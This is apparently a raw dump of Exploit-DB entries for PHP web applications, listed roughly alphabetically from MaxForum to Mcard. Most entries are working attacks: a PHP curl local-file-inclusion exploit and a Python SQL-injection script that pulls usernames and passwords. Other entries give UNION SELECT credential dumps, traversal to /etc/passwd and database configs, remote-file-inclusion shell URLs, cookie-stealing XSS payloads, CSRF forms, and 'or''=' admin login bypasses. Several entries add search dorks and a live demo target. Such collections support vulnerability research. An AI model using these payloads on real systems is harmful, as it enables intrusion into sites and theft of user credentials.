deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20541
Description: MaxForum 1.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-15
Author: ahwak2000

Exploit:
+---------------------------------------+
| MaxForum v1.0.0 Local File Inclusion  |
+---------------------------------------+
Author.............: ahwak2000
Mail...............: z.u5[at]hotmail[dot]com
Software link......: http://www.max4dev.com/
Tested versions....: 1.0
Dork...............: Powered by MaxForum v1.0.0
Date...............: 15/08/2012
---------------------------------------------------------------
in file /MaxForum/includes/forums/warn_popup.php 

line 100 			if (isset($_COOKIE['max_lang']) && (!isset($_COOKIE['max_name']))){
line 101			$board_lang = escape_string($_COOKIE['max_lang']);
line 102		}
line 103
line 104 	@include "../../language/$board_lang";
line 105 	@include "../../language/$board_lang.php";


-------------
in file /MaxForum/libs/php/functions.php 

		function escape_string($string) {

			$string = addslashes($string);
			
			$string = htmlspecialchars($string);
	   		return $string;
		}
----------------------------------------------------------------
exploit:

<?
$url="http://site.com/MaxForum/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url."/includes/forums/warn_popup.php");
curl_setopt($ch, CURLOPT_COOKIE, "max_lang=../gpl.txt");  // <--- edit
 $buffer = curl_exec($ch);
?>

#end
Exploit-DB #15960
Description: Maximus CMS 1.1.2 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-01-10
Author: eidelweiss

Exploit:
   |									     |	
  /|_________________________________________________________________________|\
 /									       \	
/===============================================================================\
|Exploit Title:	maximus-cms (fckeditor) Arbitrary File Upload Vulnerability	|
|develop:	http://www.php-maximus.org					|
|Version:	Maximus 2008 CMS: Web Portal System (v.1.1.2)			|
|Tested On:	Live site							|
|Dork:		use your skill and play your imagination :P			|
|Author:	eidelweiss							|
|contact:	eidelweiss[at]windowslive[dot]com				|
|Home:		http://www.eidelweiss.info					|
|										|
|										|
\===============================================================================/
/	NOTHING IMPOSSIBLE IN THIS WORLD EVEN NOBODY`s PERFECT			\
---------------------------------------------------------------------------------

|============================================================================================|
|Original advisories:									     |
|http://eidelweiss-advisories.blogspot.com/2011/01/maximus-cms-fckeditor-arbitrary-file.html |
|============================================================================================|

	exploit # path/html/FCKeditor/editor/filemanager/connectors/uploadtest.html

[!] first find the target host

	ex: www.site.com or www.target.com/maximus

	then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html#

[!] select # "php" as "File Uploader" to use... and select "file" as Resource Type

[!] Upload There Hacked.txt or whatever.txt  And Copy the Output Link or

[!] after upload without any errors your file will be here: /FCKeditor/upload/

		ex: http://site.com//FCKeditor/upload/whatever.txt


NB: remote shell upload also possible !!!

Read the config.php file in "/FCKeditor/editor/filemanager/connectors/php/"

----------
$Config['Enabled'] = true ;	// <=


// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/FCKeditor/upload/' ;
----------

and also $Config['AllowedExtensions']['File']

with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked


=========================| -=[ E0F ]=- |=================================
Exploit-DB #27787
Description: MaxTrade 1.0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-05-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17765/info

MaxTrade is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/pocategories.php?stranica=categories&categori=[SQL]
http://www.example.com/pocategories.php?stranica=[SQL]
Exploit-DB #5853
Description: Maxtrade AIO 1.3.23 - 'categori' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-18
Author: HaCkeR_EgY

Exploit:
##########################################################
############# Remote SQL Injection Maxtrade AIO 1.3.23 ... ##############
## HaCker_Egy
## Contact : hacker_egy@hotmail.com
## Home : pal-hacker.com & atsdp.com
===============================================
# Script : Maxtrade
# Version : 1.3.23
# Download : http://softdivision.com
===============================================
# Exploit :
           ==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/*
         
     ==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+concat_ws(0x3a3a,name,password,email),2+from+accounts/*
    
# live Demo :
             
    ==>> http://softdivision.com/maxtradedemo/modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/* 
   
===============================================================
## GREETZ : Mr.SQL , GOLD_M , H-T Team , His0k4 , Dark , Mohamed el arab , stack
=================================================================

# milw0rm.com [2008-06-18]
Exploit-DB #3994
Description: Mazens PHP Chat V3 (basepath) - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-26
Author: ThE TiGeR

Exploit:
#Mazen's PHP Chat V3.0.0 Beta1 Remote file inclusion

#Download script : http://www.scriptbrasil.com.br/script/php/bate_papo/mazen_phpopenchmt221.tar.gz

#Thanks Str0ke :D

#Exploit :

#http://victim.com/[chat_path]/include/pear/ITX.php?basepath=shell.txt?
#http://victim.com/[chat_path]/include/pear/IT_Error.php?basepath=shell.txt?
#http://victim.com/[chat_path]/include/pear/IT.php?basepath= shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail.com

# milw0rm.com [2007-05-26]
Exploit-DB #4766
Description: mBlog 1.2 - 'page' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-21
Author: irk4z

Exploit:
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:                                                                             :
:  vuln.: mBlog 1.2 Remote File Disclosure Vulnerability                      :
:  script info and download: http://www.c97.net/dl/index.php?act=view&id=8    :
:  no dork for s-kiddie [;                                                    :
:                                                                             :
:  author: irk4z[at]yahoo.pl                                                  :
:  greets to: str0ke, wacky, wszystkich polakÃƒÂ³w ;]                            :
:                                                                             :
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

# code:

  ./includes/tpl.php, 41-56:
    ...
41   // load_tpl
42   // loding a template file into a varible.
43   // use quick_tpl to display template
44  function load_tpl ($path)
45  {
46	  $tpl = '';
47	  global $tpl_block;
48
49	  if (substr ($path, -4) == '.tpl')
50	  {
51		  if (strpos (Cur_Url (), 'includes%2F') OR strpos (Cur_Url (), 'admin%2F') OR strpos (Cur_Url (), 'members%2F')) $path = '../'.$path;
52		  if (!file_exists ($path)) die ("<B>Template $path not found! Contact webmaster.</B>");
53		  $fp = fopen($path,'r');
54		  while(!feof($fp)) $tpl .= fgets($fp,4096);
55		  fclose ($fp);
56	  }
    ...

load_tpl() 'loading a template file into a varible.' ;]


  ./index.php, 24-30:
    ...
24   // proses cmd
25   switch ($mode)
26   {
27	  case 'page':
28	   $txt['main_body'] = quick_tpl (load_tpl ($config['skin']."/$page.tpl"), 0);
29	   flush_tpl ();
30	  break;
    ...
	
file disclosure in $page :*

# exploit:

(%69%6E%63%6C%75%64%65%73 = includes)
http://[host]/[path]/index.php?mode=page&page=../../%69%6E%63%6C%75%64%65%73/db_config.php%00
http://[host]/[path]/index.php?mode=page&page=../../../../../../../../etc/passwd%00

# milw0rm.com [2007-12-21]
Exploit-DB #14849
Description: mBlogger 1.0.04 - 'viewpost.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-31
Author: Ptrace Security

Exploit:
#!/usr/bin/python
#
# Exploit Title:   mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit
# Date         :   31 August 2010
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/mblogger/
# Version      :   1.0.04
# Tested on    :   EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + viewpost.php => SQL Injection!!
#
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE
#     id = '$_GET[postID]'";
# 31: $result = mysql_query($query) or die(mysql_error());
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))
# 33: {
# 34: 	echo "<div class='posttitle'>";
# 35: 	echo "<h3>" . $row['subject'] . "</h3>";
# 36: 	echo "</div>";
# 37: 	echo "<div class='postbody'>";
# 38: 	echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";
# 39: 	echo "<p>" . $row['message'] . "</p>";
# 40: 	echo "</div>";
# 41: 	$postID = $row['id'];
# 42: }
#

import re
import sys
import http.client


def usage(prog):
    print('Usage  : ' + prog + ' <target> <path>\n')
    print('Example: ' + prog + ' localhost /mBlogger/')
    print('         ' + prog + ' www.target.com /complet/path/')
    return


def exploit(target, path):
    payload  = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'
    payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'
    payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'

    print('[+] Sending HTTP Request')
    con = http.client.HTTPConnection(target)
    con.request('GET', path + payload)
    res = con.getresponse()

    if res.status != 200:
        print('[!] HTTP GET Request Failed')
        exit(1)

    print('[+] Parsing HTTP Response')
    data = res.read().decode()
    pattern = re.compile(r"<1>(.+?)<2>", re.M)
    
    print('[+] Information Extracted:\n') 
    credentials = pattern.findall(data)
    for element in credentials:
        print(element)
    
    return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security    |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 3:
    usage(sys.argv[0])
else:
    exploit(sys.argv[1], sys.argv[2])

exit(0)
Exploit-DB #35989
Description: MBoard 1.3 - 'url' Open Redirection
Type: webapps
Platform: php
Date: 2011-07-27
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48902/info

MBoard is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

MBoard 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/go.php?url=http://example.com
Exploit-DB #41064
Description: MC Buy and Sell Cars Script 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection Web Vulnerability
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Buy and Sell Cars Script
# Script Version: V1.1
# Script Buy Now: http://microcode.ws/product/mc-buy-and-sell-cars-php-script/3878
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/car.php?c=[SQL]
# http://localhost/[PATH]/car.php?c=[Permalink]&id=[SQL]
# http://localhost/[PATH]/cateogry.php?p=search&cage=all&manufacturer=[SQL]
# E.t.c.... Don't look for nothing there are also security vulnerabilities in other files as well.
# 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Mail:1@1.com and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41070
Description: MC Coming Soon Script - Arbitrary File Upload / Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Improper Access Restrictions
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Coming Soon Script
# Script Buy Now: http://microcode.ws/product/mc-coming-soon-php-script/3880
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# 
# http://localhost/[PATH]/admin/slider.php
# file.php upload 
# http://localhost/[PATH]/admin/imageslider/file.php
# 
# http://localhost/[PATH]/admin/launch_time.php
# http://localhost/[PATH]/admin/launch_message.php
# http://localhost/[PATH]/admin/send_message.php
# http://localhost/[PATH]/admin/subscribers.php
# http://localhost/[PATH]/admin/settings.php
# http://localhost/[PATH]/admin/users.php
# Vs.......
# # # # #
Exploit-DB #34373
Description: MC Content Manager 10.1 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-25
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/41949/info

MC Content Manager is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Cross site scripting:

1) http://www.example.com/article.php?root=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

2) http://www.example.com/static.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

3) http://www.example.com/cms/%3Cbody%20onload=alert(document.cookie)%3E/

SQL Injection:

1) http://www.example.com/cms/ua%20where%201=1--%20/
Exploit-DB #35496
Description: MC Content Manager 10.1.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-24
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/47014/info

MC Content Manager is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MC Content Manager 10.1.1 is vulnerable; other versions may also be affected. 

<form name="hack" action="http://www.example.com/?module=users" method="post">
<input type="hidden" name="module" value="users">
<input type="hidden" name="action" value="remind">
<input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'>
</form>

<form name="hack" action="http://www.example.com/?module=users" method="post">
<input type="hidden" name="module" value="users">
<input type="hidden" name="action" value="register">
<input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'>
</form>

<form name="hack" action="http://www.example.com/?module=users" method="post">
<input type="hidden" name="module" value="users">
<input type="hidden" name="action" value="register">
<input type="hidden" name="user_hide" value='"><script>alert(document.cookie)</script>'>
</form>
Exploit-DB #41071
Description: MC Documentation Creator Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection Web Vulnerability
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Documentation Creator
# Script Buy Now: http://microcode.ws/product/mc-documentation-creator-php-script/3890
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/dashboard.php?doc=[SQL]
# http://localhost/[PATH]/admin/dashboard.php?docedit=[SQL]
# E.t.c.... Don't look for nothing there are also security vulnerabilities in other files as well.
# 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Usename:'or''=' and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41067
Description: MC Hosting Coupons Script - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Cross-Site Request Forgery
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Hosting Coupons Script
# Script Buy Now: http://microcode.ws/product/mc-hosting-coupons-php-script/3881
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Other features have the same security vulnerability.
# Exploit:
<html>
<body>
<form class="form-horizontal" method="post" action="http://localhost/[PATH]/admin/settings.php" id="settings_form">
<label for="website_name" class="control-label col-lg-4">Website Name (Title)</label><br>
<input value="MC Hosting Coupons" class="validate[required] form-control" type="text" name="website_name" id="website_name" placeholder="Write website name(title)..." /><br>
<label for="website_keywords" class="control-label col-lg-4">Website Keywords</label><br>
<input value="hosting, coupons, save money" class="form-control" type="text" name="website_keywords" id="website_keywords"  placeholder="Write website keywords..." /><br>
<label for="email_receiver_address" class="control-label col-lg-4">Mail Receiver Email Address</label><br>
<input value="mail@gmail.com" class="validate[required] form-control" type="text" name="email_receiver_address" id="email_receiver_address" placeholder="Write receiver email address..."><br>
<label for="website_desc" class="control-label col-lg-4">Website Description</label><br>
<textarea class="form-control" name="website_desc" id="website_desc" placeholder="Write website desc..." ></textarea><br>
<input type="submit" name="sub" value="Submit" class="btn btn-primary" />
</form>
</body>
</html>
# # # # #
Exploit-DB #41068
Description: MC Inventory Manager Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Admin Login Bypass & SQLi
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Inventory Manager
# Script Buy Now: http://microcode.ws/product/mc-inventory-manager-php-script/3885
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# # # # # 
# http://localhost/[PATH]/dashboard.php?p=view_sell&id=[SQL]
# http://localhost/[PATH]//dashboard.php?p=edit_item&id=[SQL]
# E.t.c.... 
# Other features have the same security vulnerability.
# Exploit:
<html>
<body>
<form action="http://localhost/[PATH]/functions/save_password.php" method="post" parsley-validate>
<fieldset>
<label>Change Password : </label>
<input type="password" placeholder="Type new password" name="password" required/>
</fieldset>
<fieldset>
<label>Re-type Password : </label>
<input type="password" placeholder="Re-Type password again" name="repassword" required/>
</fieldset>
<button type="submit" class="btn btn-sm btn-success">Save
<i class="icon-arrow-right icon-on-right bigger-110"></i>
</button>
</form>
</body>
</html>
# # # # #
# # # # #
Exploit-DB #41066
Description: MC Real Estate Pro Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Improper Access Restrictions 
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Real Estate Pro
# Script Buy Now: http://microcode.ws/product/mc-real-estate-pro-php-script/3858
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/AddPropertyType/apt
# http://localhost/[PATH]/admin/AddNewState/Add_State
# http://localhost/[PATH]/admin/AddNewCity/Add_City
# http://localhost/[PATH]/admin/SliderTable/st
# Vs.......
# # # # #
Exploit-DB #41063
Description: MC Smart Shop Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection Web Vulnerability
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Smart Shop Script
# Script Buy Now: http://microcode.ws/product/mc-smart-shop-php-script/3855
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?id=[SQL]
# http://localhost/[PATH]/product.php?p=[Permalink]&id=[SQL]
# http://localhost/[PATH]/category.php?p=[SQL]
# http://localhost/[PATH]/product.php?p=[SQL]
# E.t.c.... Don't look for nothing there are also security vulnerabilities in other files as well.
# 
# Admin Login Bypass
# http://localhost/[PATH]/adminlogin.php and set Mail:1@1.com and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41065
Description: MC Yellow Pages Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection Web Vulnerability
# Date: 15.01.2017
# Vendor Homepage: http://microcode.ws/
# Script Name: MC Yellow Pages Script
# Script Buy Now: http://microcode.ws/product/mc-yellow-pages-php-script/3800
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/details.php?list_id=[SQL]
# http://localhost/[PATH]/category.php?cat_id=[SQL]
# E.t.c.... Don't look for nothing there are also security vulnerabilities in other files as well.
# 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Mail:1@1.com and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #44733
Description: Mcard Mobile Card Selling Platform 1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: L0RD

Exploit:
# Exploit Title:  # Exploit Title: Mcard Mobile Card Selling Platform 1 - SQL Injection
# Date: 2018-05-23
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/mcard-mobile-card-selling-platform/19307193?s_rank=15
# Version: 1
# Tested on: Kali linux

# POC 1 :

# Attacker can bypass admin panel authentication
Username : ' OR 0=0 #
[CREDENTIAL_REDACTED]